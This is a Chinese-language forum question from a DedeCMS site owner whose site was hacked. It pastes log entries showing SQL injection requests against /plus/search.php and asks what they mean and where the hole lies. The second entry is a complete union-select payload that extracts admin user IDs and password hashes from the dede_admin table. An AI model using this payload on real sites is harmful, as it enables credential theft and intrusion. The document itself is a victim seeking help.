dede cms网站被黑,data里面有这样的txt,想知道这个txt里面的执行语句是什么意思?另外我网站什么地方不安全(漏洞)
dede cms网站1:
117.95.116.207||/plus/search.php?keyword=as&typeArr%5B%20uNion%20%5D=a||SELECT channeltype FROM `dede_arctype` WHERE id= uNion LIMIT 0,1;||SelectBreak
dede cms网站2:
58.22.135.103||/plus/search.php?keyword=aa&typeArr%5B111%3D@%60%5C'%60)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+%60%23@__admin%60%23@%60%5C'%60+%5D=a||SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `dede_arctype` tp left join `dede_channeltype` ch on ch.id=tp.channeltype WHERE tp.id='111=@`\'`) UnIon seleCt 1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from `dede_admin`#@`\'` ' LIMIT 0,1;||SelectBreak |